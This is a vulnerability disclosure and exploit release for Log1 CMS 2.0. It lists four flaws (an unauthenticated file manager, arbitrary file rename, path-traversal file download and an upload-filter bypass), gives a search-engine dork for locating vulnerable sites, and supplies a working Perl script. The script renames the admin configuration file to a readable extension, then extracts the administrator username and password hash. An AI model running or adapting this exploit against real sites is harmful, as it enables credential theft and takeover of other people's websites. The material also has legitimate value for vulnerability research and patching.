+---------------------------------------+ | Log1 CMS 2.0 Multiple Vulnerabilities | +---------------------------------------+ Vulnerable Web-App : Log1 CMS 2.0 Vulnerability : Multiple Vulnerabilities. Author : Aodrulez. (Atul Alex Cherian) Email : f3arm3d3ar@gmail.com Google-Dork : "POWERED BY LOG1 CMS" Tested on : Ubuntu 10.04 Vendor : http://log1cms.sourceforge.net/ +---------+ | Details | +---------+ This CMS suffers from multiple vulnerabilities. 1] "AjaxFileManager" implemented without the need for a valid session. Path: http://localhost/admin/libraries/ajaxfilemanager/ajaxfilemanager.php 2] "ajax_save_name.php" can be used to rename any file on the system/www-root to any name that contains safe extensions (txt,jpg etc) 3] "AjaxFileManager.php" allows download of even php files if its under the 'Root Folder'. Exploit: http://localhost/admin/libraries/ajaxfilemanager/ajax_download.php?path=../../../db/uploaded/index.php 4] "main.php" can be used to upload any file-type as long as this is true : "Content-Type: image:jpeg" Exploit:http://localhost/admin/main.php?action=upload +--------------------+ | Exploit (Perl Code)| +--------------------+ (This exploit will fetch Sensitive Login information from 'http://target.com/admin/config.php' & trigger DOS attack against the Web-Application) use HTTP::Request::Common qw(POST); use LWP::UserAgent; use LWP 5.64; my $browser = LWP::UserAgent->new(); my $url=$ARGV[0]; print "+---------------------------------------+\n"; print "| Log1 CMS 2.0 Multiple Vulnerabilities |\n"; print "+---------------------------------------+\n\n"; print "Author : Aodrulez. (Atul Alex Cherian)\n"; print "Email : f3arm3d3ar\@gmail.com\n"; print "Google-Dork : \"POWERED BY LOG1 CMS\"\n"; if(!$url) {die ("\nPlease enter the target url. Ex. perl $0 http://www.test.com");} my $ajaxfileman='/admin/libraries/ajaxfilemanager/ajax_save_name.php'; $response = HTTP::Request->new(POST => $url.$ajaxfileman) or die("\n Connection Error!"); $response->content_type("application/x-www-form-urlencoded"); $response->content("original_path=../../../admin/config.php&name=config.txt"); my $data=$browser->request($response)->as_string; if($data!~m/HTTP\/1.1 200 OK/){ die ("\n$url Not Vulnerable!\n");} $response = HTTP::Request->new(GET => $url.'/admin/config.txt') or die("\n Connection Error!"); my $data=$browser->request($response)->as_string; $data=~ m/\"(.*?)\";\r\n.*?\"(.*?)\";/g; print "\nAdmin Username : ".$1."\nAdmin Password : ".$2." (MD5 Hash)\n"; +-------------------+ | Greetz Fly Out To | +-------------------+ 1] Amforked() : My Mentor. 2] The Blue Genius : My Boss. 3] www.orchidseven.com 4] www.malcon.org 5] www.isac.org.in +-------+ | Quote | +-------+ "Learn the Rules really well so you know how to Break them in Multiple Ways." - Aodrulez ;)